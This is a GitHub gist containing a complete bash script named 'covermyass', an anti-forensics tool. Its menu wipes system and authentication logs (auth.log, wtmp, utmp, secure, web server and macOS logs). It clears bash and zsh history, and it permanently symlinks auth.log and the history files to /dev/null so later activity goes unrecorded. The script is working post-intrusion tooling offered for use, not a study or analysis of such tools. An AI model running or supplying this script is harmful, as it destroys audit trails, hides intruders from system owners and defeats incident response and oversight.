Created
November 2, 2021 22:18
-
-
Save ndom91/ff4fb20bca91e8cd5c18e6947d5e260a to your computer and use it in GitHub Desktop.
covermyass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
LOGS_FILES=( | |
/var/log/messages # General message and system related stuff | |
/var/log/auth.log # Authenication logs | |
/var/log/kern.log # Kernel logs | |
/var/log/cron.log # Crond logs | |
/var/log/maillog # Mail server logs | |
/var/log/boot.log # System boot log | |
/var/log/mysqld.log # MySQL database server log file | |
/var/log/qmail # Qmail log directory | |
/var/log/httpd # Apache access and error logs directory | |
/var/log/lighttpd # Lighttpd access and error logs directory | |
/var/log/secure # Authentication log | |
/var/log/utmp # Login records file | |
/var/log/wtmp # Login records file | |
/var/log/yum.log # Yum command log file | |
/var/log/system.log # System Log | |
/var/log/DiagnosticMessages # Mac Analytics Data | |
/Library/Logs # System Application Logs | |
/Library/Logs/DiagnosticReports # System Reports | |
~/Library/Logs # User Application Logs | |
~/Library/Logs/DiagnosticReports # User Reports | |
) | |
function isRoot () { | |
if [ "$EUID" -ne 0 ]; then | |
return 1 | |
fi | |
} | |
function menu () { | |
echo | |
echo "Welcome to Cover my ass tool !" | |
echo | |
echo "Select an option :" | |
echo | |
echo "1) Clear logs for user $USER" | |
echo "2) Permenently disable auth & bash history" | |
echo "3) Restore settings to default" | |
echo "99) Exit tool" | |
echo | |
printf "> " | |
read -r option | |
echo | |
} | |
function disableAuth () { | |
if [ -w /var/log/auth.log ]; then | |
ln /dev/null /var/log/auth.log -sf | |
echo "[+] Permanently sending /var/log/auth.log to /dev/null" | |
else | |
echo "[!] /var/log/auth.log is not writable! Retry using sudo." | |
fi | |
} | |
function disableHistory () { | |
ln /dev/null ~/.bash_history -sf | |
echo "[+] Permanently sending bash_history to /dev/null" | |
if [ -f ~/.zsh_history ]; then | |
ln /dev/null ~/.zsh_history -sf | |
echo "[+] Permanently sending zsh_history to /dev/null" | |
fi | |
export HISTFILESIZE=0 | |
export HISTSIZE=0 | |
echo "[+] Set HISTFILESIZE & HISTSIZE to 0" | |
set +o history | |
echo "[+] Disabled history library" | |
echo | |
echo "Permenently disabled bash log." | |
} | |
function enableAuth () { | |
if [ -w /var/log/auth.log ] && [ -L /var/log/auth.log ]; then | |
rm -rf /var/log/auth.log | |
echo "" > /var/log/auth.log | |
echo "[+] Disabled sending auth logs to /dev/null" | |
else | |
echo "[!] /var/log/auth.log is not writable! Retry using sudo." | |
fi | |
} | |
function enableHistory () { | |
if [[ -L ~/.bash_history ]]; then | |
rm -rf ~/.bash_history | |
echo "" > ~/.bash_history | |
echo "[+] Disabled sending history to /dev/null" | |
fi | |
if [[ -L ~/.zsh_history ]]; then | |
rm -rf ~/.zsh_history | |
echo "" > ~/.zsh_history | |
echo "[+] Disabled sending zsh history to /dev/null" | |
fi | |
export HISTFILESIZE="" | |
export HISTSIZE=50000 | |
echo "[+] Restore HISTFILESIZE & HISTSIZE default values." | |
set -o history | |
echo "[+] Enabled history library" | |
echo | |
echo "Permenently enabled bash log." | |
} | |
function clearLogs () { | |
for i in "${LOGS_FILES[@]}" | |
do | |
if [ -f "$i" ]; then | |
if [ -w "$i" ]; then | |
echo "" > "$i" | |
echo "[+] $i cleaned." | |
else | |
echo "[!] $i is not writable! Retry using sudo." | |
fi | |
elif [ -d "$i" ]; then | |
if [ -w "$i" ]; then | |
rm -rf "${i:?}"/* | |
echo "[+] $i cleaned." | |
else | |
echo "[!] $i is not writable! Retry using sudo." | |
fi | |
fi | |
done | |
} | |
function clearHistory () { | |
if [ -f ~/.zsh_history ]; then | |
echo "" > ~/.zsh_history | |
echo "[+] ~/.zsh_history cleaned." | |
fi | |
echo "" > ~/.bash_history | |
echo "[+] ~/.bash_history cleaned." | |
history -c | |
echo "[+] History file deleted." | |
echo | |
echo "Reminder: your need to reload the session to see effects." | |
echo "Type exit to do so." | |
} | |
function exitTool () { | |
exit 1 | |
} | |
clear # Clear output | |
# "now" option | |
if [ -n "$1" ] && [ "$1" == 'now' ]; then | |
clearLogs | |
clearHistory | |
exit 0 | |
fi | |
menu | |
if [[ $option == 1 ]]; then | |
# Clear logs & current history | |
clearLogs | |
clearHistory | |
elif [[ $option == 2 ]]; then | |
# Permenently disable auth & bash log | |
disableAuth | |
disableHistory | |
elif [[ $option == 3 ]]; then | |
# Restore default settings | |
enableAuth | |
enableHistory | |
elif [[ $option == 99 ]]; then | |
# Exit tool | |
exitTool | |
else | |
echo "[!] Option not reconized. Exiting." | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment